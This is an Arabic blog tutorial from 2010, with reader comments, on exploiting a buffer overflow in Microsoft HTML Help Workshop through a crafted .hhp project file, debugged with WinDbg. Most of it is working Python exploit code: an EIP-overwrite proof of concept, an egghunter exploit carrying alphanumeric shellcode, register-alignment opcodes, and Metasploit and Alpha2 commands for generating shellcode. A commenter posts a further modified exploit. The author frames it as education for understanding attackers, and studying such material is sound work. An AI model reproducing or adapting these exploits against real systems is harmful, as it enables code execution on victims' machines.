| تحليل واستغلال ثغرات البرامج والتنقيح بأداة Windbg |
| الكاتب محمد غنام |
| الأربعاء, 14 يوليو 2010 19:12 |
|
مقال يتحدث عن ثغرات البرامج وبصفة خاصة عن ثغرة في أداة Microsoft HTML Help Workshop سنتتبع خطوات استغلالها من خلل برمجي صغير الى استغلال يهدد الأجهزة. الأداة من برمجة Microsoft وهي قوية في تعديل صفحات HTML ولها عدة مزايا أخرى كما أنها تستعمل حاليا في العديد من الجامعات وتستخدم كأداة رسمية.
الأدوات:
هذا الموضوع لا يتكلم عن الإختراق بل يهدف للتعريف بالطريقة التي يتمكن بها الهكر من إستغلال الثغرة وأيجاد حلول مناسبة لها. لن أتحدث عن كيفية تحديد كيمية البيانات التي أحدتث الخلل ولا على كيفية البحث عن العناوين من الذاكرة فهذه أمور قد يتم التطرق لها لاحقاً. وكما قلت سابقا غرضنا هو أن نيّن تفكير الهكر ونضع أنفسنا مكانه حين يحلل البرامج.
واجهة البرنامج:
لنر كيف يحدث الخلل: #!usr/bin/python# Microsoft html help workshop Buffer advanced overflow exploitation header1=( "\x5b\x4f\x50\x54\x49\x4f\x4e\x53\x5d\x0d\x0a\x43\x6f\x6d\x70\x61\x74\x69\x62\x69" "\x6c\x69\x74\x79\x3d\x31\x2e\x31\x20\x6f\x72\x20\x6c\x61\x74\x65\x72\x0d\x0a\x43" "\x6f\x6d\x70\x69\x6c\x65\x64\x20\x66\x69\x6c\x65\x3d\x74\x65\x73\x74\x2e\x63\x68" "\x6d\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x73\x20\x66\x69\x6c\x65\x3d\x74\x65\x73" "\x74\x2e\x68\x68\x63\x0d\x0a\x44\x65\x66\x61\x75\x6c\x74\x20\x74\x6f\x70\x69\x63" "\x3d") header2=( "\x44\x69\x73\x70\x6c\x61\x79\x20\x63\x6f\x6d\x70\x69\x6c\x65\x20\x70\x72\x6f\x67" "\x72\x65\x73\x73\x3d\x4e\x6f\x0d\x0a\x49\x6e\x64\x65\x78\x20\x66\x69\x6c\x65\x3d") header3= "\x4c\x61\x6e\x67\x75\x61\x67\x65\x3d\x30\x78\x34\x30\x39\x20" header4=( "\x20\x28\x55\x6e\x69\x74\x65\x64\x20\x53\x74\x61\x74\x65\x73\x29\x0d\x0a\x0d\x0a" "\x0d\x0a\x5b\x46\x49\x4c\x45\x53\x5d\x0d\x0a\x74\x65\x73\x74\x2e\x68\x74\x6d\x0d" "\x0a\x0d\x0a\x5b\x49\x4e\x46\x4f\x54\x59\x50\x45\x53\x5d\x0d\x0a\x0d\x0a") payload = header1 payload += "\x44"*3000+"\x0d\x0a" payload += header2 payload += "A" * 280 payload += "XXXX" # EIP is overwrited by this 4 bytes payload += "\x0d\x0a" payload += header3 payload += "\x42"*1100 payload += header4 file = open("1.hhp","w") file.write(payload) file.close() شغّل الكود السابق بإستخدام مفسّر Python وسيعطيك ملف 1.hhp إفتح الملف عن طريق البرنامج باستعمال windobg ولاحظ التغييرات:
كما لاحظنا حدوث overflow بالذاكرة وتم تغيير مسار عمل البرنامج والمؤشر EIP يدل الى موضع مجهول 'XXXX' بالذاكرة.
الطريقة الأولى (egghunting):نبذة صغيرة عن أداة skape egghunt: أداة قام ببرمجتها أحد مطوري مشروع Metasploit يدعى skape حيث جعل مشكلة حجم المساحات أمراً سهل التخطي ذلك لأنه يستخدم بشكل اعتباطي. // 32 byte egghunt shellcode (egg=0x57303054) unsigned char egghunt[] = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xe\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"; هذا الشيل كود الصغير مكوّن من 32 bytes يبحث عن العنوان الذي ادخلناه 0x57303054 داخل الذاكرة وأينما يوجد يتم استدعاء التعليمات التي بعدها. أي من هذا الجانب يمكننا أن نضع الشيل كود وراء هذا العنوان وسينفذ الشيل كود لكن من سلبيات هذه الطريقة أنها تستغرق بضع ثواني وأحيانا بضع دقائق ذلك لانه يبحث عن مكان العنوان المطلوب منه. إذاً لنطبق هذه الخاصية على مثالنا هذا ونرى ماذا سيحدث: #!/usr/bin/python# Microsoft html help workshop Buffer advanced overflow exploitation shellcode = ( "\x54\x30\x30\x57\x54\x30\x30\x57" "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34" "\x42\x50\x42\x30\x42\x30\x4b\x48\x45\x44\x4e\x43\x4b\x38\x4e\x37" "\x45\x30\x4a\x57\x41\x50\x4f\x4e\x4b\x58\x4f\x44\x4a\x41\x4b\x58" "\x4f\x35\x42\x52\x41\x50\x4b\x4e\x49\x34\x4b\x48\x46\x43\x4b\x38" "\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c" "\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x43\x46\x35\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x38" "\x4f\x45\x46\x52\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x34" "\x4b\x38\x4f\x35\x4e\x31\x41\x30\x4b\x4e\x4b\x48\x4e\x31\x4b\x48" "\x41\x50\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x43" "\x42\x4c\x46\x56\x4b\x58\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x47" "\x4e\x50\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x37\x4e\x41\x4d\x4a" "\x4b\x58\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x48\x42\x4b" "\x42\x30\x42\x30\x42\x30\x4b\x38\x4a\x46\x4e\x53\x4f\x35\x41\x33" "\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37" "\x42\x45\x4a\x36\x50\x47\x4a\x4d\x44\x4e\x43\x37\x4a\x36\x4a\x49" "\x50\x4f\x4c\x58\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x36\x41\x46" "\x4e\x56\x43\x56\x42\x30\x5a") header1=( "\x5b\x4f\x50\x54\x49\x4f\x4e\x53\x5d\x0d\x0a\x43\x6f\x6d\x70\x61\x74\x69\x62\x69" "\x6c\x69\x74\x79\x3d\x31\x2e\x31\x20\x6f\x72\x20\x6c\x61\x74\x65\x72\x0d\x0a\x43" "\x6f\x6d\x70\x69\x6c\x65\x64\x20\x66\x69\x6c\x65\x3d\x74\x65\x73\x74\x2e\x63\x68" "\x6d\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x73\x20\x66\x69\x6c\x65\x3d\x74\x65\x73" "\x74\x2e\x68\x68\x63\x0d\x0a\x44\x65\x66\x61\x75\x6c\x74\x20\x74\x6f\x70\x69\x63" "\x3d") header2=( "\x44\x69\x73\x70\x6c\x61\x79\x20\x63\x6f\x6d\x70\x69\x6c\x65\x20\x70\x72\x6f\x67" "\x72\x65\x73\x73\x3d\x4e\x6f\x0d\x0a\x49\x6e\x64\x65\x78\x20\x66\x69\x6c\x65\x3d") header3= "\x4c\x61\x6e\x67\x75\x61\x67\x65\x3d\x30\x78\x34\x30\x39\x20" header4=( "\x20\x28\x55\x6e\x69\x74\x65\x64\x20\x53\x74\x61\x74\x65\x73\x29\x0d\x0a\x0d\x0a" "\x0d\x0a\x5b\x46\x49\x4c\x45\x53\x5d\x0d\x0a\x74\x65\x73\x74\x2e\x68\x74\x6d\x0d" "\x0a\x0d\x0a\x5b\x49\x4e\x46\x4f\x54\x59\x50\x45\x53\x5d\x0d\x0a\x0d\x0a") # skape egghunter shellhunt=( "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" "\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7") payload = header1 payload += "\x44"*1100+"\x0d\x0a" payload += header2 payload+= shellhunt payload += "A" * (280-len(shellhunt)) payload += "\x7F\x13\x40\x00" #call esi 0040137F universal address payload += "\x0d\x0a" payload += header3 payload += shellcode payload += "\x42"*1100 payload += header4 file = open("egghunt.hhp","w") file.write(payload) file.close()
بعد مدة وجيزة اشتغل shellcode وقد إستخدمنا شيل كود ينفد calc فقط. لو لاحظتم أين وضعنا الشلكود فقد وضعناه في مكان عشوائي ويمككنا وضعه في اي مكان وسيتم استدعائه بعد انتهاء مدة البحث, لاحظ أيضاً إضافة السطر الأول فوق الشيل كود وهو كلمة البحث التي قمنا بها.
الطريقة الثانية (jumping to shellcode):الاستثمار المحترف يتطلب عدة معايير ليكون كذلك ومنها أن يكون الاستثمار Universal يشتغل في أي نظام, أن ينفد أي شيل كود مهما كان حجمه ومهما كانت وضعيته ومهما كان نوع الـ filters وهذا ما سنحاول القيام به وهو البحث عن مكان نستطيع وضع الشيل كود فيه وتنفيده باستعمال أحدة المسجلات وسنأخد على سبيل المثال المسجل ESI.
جيد جداً الآن, وجدنا مكان مناسب للشيل كود سنرى هل هو كافي أم لا؟ First chance exceptions are reported before any exception handling.This exception may be expected and handled. eax=00000000 ebx=003297f8 ecx=41414141 edx=009515e0 esi=003cb030 edi=003cb03b eip=58585858 esp=0012ee48 ebp=41414141 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 58585858 ?? ??? 0:000> d esi 003cb030 49 6e 64 65 78 20 66 69-6c 65 00 41 41 41 41 41 Index file.AAAAA 003cb040 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 003cb050 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 003cb060 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 003cb070 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 003cb080 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 003cb090 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 003cb0a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0:000> d 003cb0b0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 003cb0c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 003cb0d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 003cb0e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 003cb0f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 003cb100 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 003cb110 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 003cb120 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0:000> d 003cb130 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 003cb140 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 003cb150 41 41 41 58 58 58 58 00-41 42 43 44 45 46 47 48 AAAXXXX.ABCDEFGH 003cb160 49 4a 4b 4c 4d 4e 4f 50-51 52 53 54 55 56 57 58 IJKLMNOPQRSTUVWX 003cb170 59 5a 44 44 44 44 44 44-44 44 44 44 44 44 44 44 YZDDDDDDDDDDDDDD 003cb180 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 003cb190 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 003cb1a0 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 0:000> d 003cb158 003cb158 41 42 43 44 45 46 47 48-49 4a 4b 4c 4d 4e 4f 50 ABCDEFGHIJKLMNOP 003cb168 51 52 53 54 55 56 57 58-59 5a 44 44 44 44 44 44 QRSTUVWXYZDDDDDD 003cb178 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 003cb188 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 003cb198 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 003cb1a8 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 003cb1b8 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 003cb1c8 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 0:000> d 003cb1d8 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 003cb1e8 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 003cb1f8 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 003cb208 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 003cb218 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 003cb228 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 003cb238 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD 003cb248 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD إذاً حسب ما سبق لدينا ما يلي: المسجل ESI الآن يحمل العنوان 003CB030 ولكن الشيل كود يتواجد في 003CB158. السؤال هو كيف نجعل المسجل ESI يؤشر الى العنوان 003CB158 أي مكان تواجد الشيل كود؟ بكل صراحة من الصعب ايضاح الفكرة ولكنني اقترحت ان تقرأ الكود الموجود في الأسفل وتمعن فيه جيداً وسترى أن هذه الطريقة متقدمة في استغلال الثغرة هي مجرد عمليات حسابية بالـ Hex: ESI = 003cb030ADD ESI ,55445544 ; this will increase the ESI registre ;result : ESI = 55810574 ;------------------------- SUB ESI,5544541C result : ESI = 003cb158 ;=====> the place of our shellcode xD ;----------------------------------------------- Push ESI,ret ; push them on the stack and return the value
الآن نحتاج فقط الى الـ opcodes: #0041771F 81EE 1C544455 ADD ESI,55445544#00417725 81EE 1C544455 SUB ESI,5544541C #0041772B 56 PUSH ESI #0041772C C3 RETN ------------------------------------ with python : align = "\x81\xC6\x44\x55\x44\x55\x81\xEE\x1C\x54\x44\x55\x56\xc3" أوشكت على الانتهاء, لم يبق إلا توليد shellcode من metasploit project وتحويله الى alphanum shellcode باستعمال أداة Alpha2 . لتوليد shellcode من مشروع ميتاسبلويت نستعمل الأمر التالي: root@attacker-labs:/home/simo36# cd /pentest/exploits/framework3root@attacker-labs:/pentest/exploits/framework3# ./msfpayload windows/exec CMD=calc R > /pentest/exploits/tools/shellcalc.raw root@attacker-labs:/pentest/exploits/framework3# الان نحول الـ shellcode الى alphanum بإستعمال الأداة Alpha2. هذه الأداة قام ببرمجتها Skylined أحد أعضاء Google Chrome Security وهو مكتشف تقنية Heap Spray لإستغلال ثغرات المتصفح في أقل من دقيقة وسأتطرّق لاحقا لتفسير دقيق لهذه التقنية إن شاء الله. root@attacker-labs:/pentest/exploits/tools# ./alpha2 esi --uppercase < /pentest/exploits/tools/shellcalc.raw VYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLKXK95P5PC0SPK9M5VQ8RSTLKPRVPLK 0RDLLK0RB4LKT27XDOX7PJ7V6QKOP1YPNL7L3QSL5RVL7PO1HO4MUQHGKRL0PR0WLKV2TPLK1RWL5QXPLK1PRXLEO0T 4PJUQXP0PLKQXUHLK0XWP5QN3KSWL1YLK7DLKEQN6VQKOVQO0NLIQHODMEQIW7HKPBUL45SSML87KSM6DRUKRV8LKQH 7TS1N3CVLKTL0KLKV85LUQN3LK5TLK5QN0LIQTWTQ4QKQKU1V91JPQKOKP0XQO0ZLKUBJKLF1M3ZUQLMMUNYEPS0S0V 0CXP1LKBOK7KO8UOKZPOEORQFCXOVLUOMMMKOYEWLEVSL5ZK0KKKP45S5OK77TSRRRORJUPF3KOXUCSSQ2L3S30TJA root@attacker-labs:/pentest/exploits/tools# لمشاهدة الإستغلال النهائي: microsoft_html_help_workshop_overflow_exploit.py
وأخيرا وليس أخيرا أرفقت لكم فيديو يبيّن الفرق بين الطريقتين وإحكم بنفسك أي الطريقتين أفضل.
تم الانتهاء من الشرح وهذا ما لدي لحد الآن. أتمنى أن اكون قد وفقت في شرحي وفي حال وجود أي إستفسارات أو أخطاء في الشرح أتمنى تنبيهي له. عن الكاتب:
التعليقات (12)
![]() أرسلت بواسطة: محمد غنام في July 15, 2010
السلام عليكم ورحمة الله , أشكرك يا أخي على اهتمامك بالموضوع .
أنا على عكسك لم يشتغل معي دلك الاستغلال أطلاقازفحته عبر المنقح ووجدت ان العنوان الدي وضع للمسجل EDI يؤشر الى مكان يوجد فيه نصف الشلكود حيث مكان رأس الشلكود لم اجده , لدلك اقترح عليك عمل صورة تنقح فيها البرنامج مع اظهار مكان الشلكود, أضافة الى الاستغلالين معا جربتهم في أكثر من جهاز واشتغلوا ,وأستغرب لمادا لم يشتغل معك , وهناك حالة واحدة هو العناوين مختفلة من نظام الى اخر وهدا يحدت , وأما بالنسبة الاستغلال الاول بال egghunt ادا اشتغل معك فالفرضيى صحيحة كما قلت لك , وانصحك أن فهمت الدرس يمكنك ان تستغل الثغرة بنفسك واتبع نفس التعليمات التي وضعتها في الشرح وسترى ان كنت على حق ام لا وسترى الاختلاف الدي سيكون بيني وبينك وبين الاستغلال الاصلي , ولا تكتفي بتجريب الكود وتسال لمادا لم يعمل لاني وضعت كل شئ بدقة شديدة والصور توضح دلك , ان لم يشتغل معك فغير ال align حسب العنوان الدي موجود shellcode وسترى انه سيشتغل . أما عن الشلكود بال Alpha2 هو طبعا قرار اختياري من باب شرح الاداة , اضافة الى ان البرنامج المصاب يقوم بعمل filter لبعض الشيفرات يعني تفريبا ينبغي ان يكون شلكود مشفر بنسبة 70% لدلك لا يتطلب الا شلكود من نوع Pexalphanum على اقل تقدير . اتمنى ان تجرب الشرح على جهازك وان تبحث عن النتيجة بنفسك . أرسلت بواسطة: Mohammad AlQarni في July 15, 2010
مشكور اخوي محمد غنام
الله يعطيك ألف عافيه بس ابي طريقة معرفة header للبرنامج مثلا معي برنامج مصاب ابي اسوي له header تحياتي لك أرسلت بواسطة: حازم مفيد في July 16, 2010
السلام عليكم
بامكانك الحصول على هيدر اي extenstion ببساطة عن طريق برنامج Hex Editor مثلا او بامكانك اخذ الهيدر بعمل edit للملف عن طريق notepad++ و تحويل الهيدر الى ال hex ووضعه في الاستغلال ، لكن الافضل استخدام اي برنامج Hex Editing . أرسلت بواسطة: عبد الصمد في July 16, 2010
شكرا على الرد أخي
بالنسبة للصورة لنجاح الإستغلال الأصلي http://img121.imageshack.us/img121/8706/isecur1ty.jpg أما بالنسبة للإستغلال الخاص بك لقد عوضت "A"*281 بال nops و إشتغل عادي مع أني لم أفهم السبب؟ سؤال ثاني بالنسبة لإستغلال egghunt لقد إشتغل معي عادي بعض مرور بعض الوقت لكن لاحظت في الإستغلال payload = header1 payload += "x44"*1100+"x0dx0a" payload += header2 ما فائدة "x44"*1100؟ شكرا أرسلت بواسطة: محمد غنام في July 16, 2010
hamza_hack_dz : أشكرك جزيل الشكر لاهتمامك بالموضوع
عبد الصمد : هده الصورة تدل على انك فهمت الموضوع وهدا شئ جيد , أما بالنسبة لل nopds فليس عندي اية فرضية لهدا لاني لم اجرب هدا , أما بخصوص ال egghunt فقط شرحت سابقا أنه يستدعى بعد فترة زمنية , أما بالنسبة للكود فهدا مكان الفائض الدي يمكننا وضع الشلكود فيه ويمكنك تبديله باية قيمة اخرة جرب الامر ورد على , اتمنى اكون وفقت في تفسير المعلومة اي سوال تفضل انا موجود ريان السلمي : بارك الله فيك يا أخي أرسلت بواسطة: عبد الصمد في July 16, 2010
بارك الله فيك على الردود
أعلم أنني أكثرت عليك الأسئلة فاعذرني تقدر توضح لنا ما الفرق بين olly و windbg من حيث الوظيفة لأني لم أستخدم windbg أرسلت بواسطة: H-Security في July 17, 2010
في اداة تجي مع الميتا سبوليت اسمها
pattern_create.rb 5000 راح تنشى كود حجمة 5000 واكتبه في الملف المراد اختبارة ثم بعدها انسخ الي يطلع لك في eip واكتبة في اداه اخرى راح تحسب الحجم بهذي الطريقة pattern_offset.rb 0xFFFFFF 5000 0xFFFFFF العنوان الموجود في ال eip الحجم الي انشأته بالداية وراح يطلعلك حجم البفر انا عندي مشكلة في كتابة الشل كود كيف اعرف bad char لي يومين ابحث فيها راح اجرب الalpha3 واشوف يعطيك العافية على المقالة أرسلت بواسطة: Mohammad AlQarni في August 18, 2010
قمت بالتعديل على الاستغلال ,, ولقد تم تنفذ الشل كود بسرعه
#!/usr/bin/python shellcode = ( "x51x30x30x57x51x30x30x57" " xdaxc0xd9x74x24xf4xbbxe6x9axc9x6dx5ax33xc 9xb1" " x33x31x5ax18x83xeaxfcx03x5axf2x78x3cx91x1 2xf5" " xbfx6axe2x66x49x8fxd3xb4x2dxdbx41x09x25x8 9x69" " xe2x6bx3axfax86xa3x4dx4bx2cx92x60x4cx80x1 ax2e" " x8ex82xe6x2dxc2x64xd6xfdx17x64x1fxe3xd7x3 4xc8" " x6fx45xa9x7dx2dx55xc8x51x39xe5xb2xd4xfex9 1x08" " xd6x2ex09x06x90xd6x22x40x01xe6xe7x92x7dxa 1x8c" " x61xf5x30x44xb8xf6x02xa8x17xc9xaax25x69x0 dx0c" " xd5x1cx65x6ex68x27xbex0cxb6xa2x23xb6x3dx1 4x80" " x46x92xc3x43x44x5fx87x0cx49x5ex44x27x75xe bx6b" " xe8xffxafx4fx2cx5bx74xf1x75x01xdbx0ex65xe dx84" " xaaxedx1cxd1xcdxafx4ax24x5fxcax32x26x5fxd 5x14" " x4ex6ex5exfbx09x6fxb5xbfxe5x25x94x96x6dxe 0x4c" " xabxf0x13xbbxe8x0cx90x4ex91xebx88x3ax94xb 0x0e" " xd6xe4xa9xfaxd8x5bxcax2exbbx3ax58xb2x12xd 8xd8" "x51x6bx28") header1=( " x5bx4fx50x54x49x4fx4ex53x5dx0dx0ax43x6fx6 dx70x61x74x69x62x69" " x6cx69x74x79x3dx31x2ex31x20x6fx72x20x6cx6 1x74x65x72x0dx0ax43" " x6fx6dx70x69x6cx65x64x20x66x69x6cx65x3dx7 4x65x73x74x2ex63x68" " x6dx0dx0ax43x6fx6ex74x65x6ex74x73x20x66x6 9x6cx65x3dx74x65x73" " x74x2ex68x68x63x0dx0ax44x65x66x61x75x6cx7 4x20x74x6fx70x69x63" "x3d") header2=( " x44x69x73x70x6cx61x79x20x63x6fx6dx70x69x6 cx65x20x70x72x6fx67" " x72x65x73x73x3dx4ex6fx0dx0ax49x6ex64x65x7 8x20x66x69x6cx65x3d") header3= " x4cx61x6ex67x75x61x67x65x3dx30x78x34x30x3 9x20" header4=( " x20x28x55x6ex69x74x65x64x20x53x74x61x74x6 5x73x29x0dx0ax0dx0a" " x0dx0ax5bx46x49x4cx45x53x5dx0dx0ax74x65x7 3x74x2ex68x74x6dx0d" " x0ax0dx0ax5bx49x4ex46x4fx54x59x50x45x53x5 dx0dx0ax0dx0a") sniper = ( " xebx21x59xb8x51x30x30x57x51x6axffx33xdbx6 4x89x23x6ax02" " x59x8bxfbxf3xafx75x07xffxe7x66x81xcbxffx0 fx43xebxedxe8" "xdaxffxffxffx6ax0c" " x59x8bx04x0cxb1xb8x83x04x08x06x58x83xc4x1 0x50x33xc0xc3") payload = header1 payload += "x44"*1100+"x0dx0a" payload += header2 payload+= sniper payload += "A" * (280-len(sniper)) payload += "xA1x2Bx9Cx62" payload += "x0dx0a" payload += header3 payload += shellcode payload += "x42"*1100 payload += header4 file = open("egghunt.hhp","w") file.write(payload) file.close() أضف تعليق
يجب عليك الاشتراك بالموقع لتتمكن من كتابة التعليقات, الاشتراك مجاني ويستغرق بضع ثوان فقط!
اذا كنت مشترك مسبقا في الموقع فضلاً قم بتسجيل الدخول. |














لكن الإستغلال اللي واضعو لم يشتغل معي عكس الإستغلال الأصلي
http://www.exploit-db.com/exploits/10323/
هل تقدر تقول لي ما السبب؟
سؤال آخر لو سمحت
ما فائدة إستخدام Alpha2 مع أن الإستغلال الأصلي فيه شل كود غير مشفر بAlpha2 و يشتغل عادي؟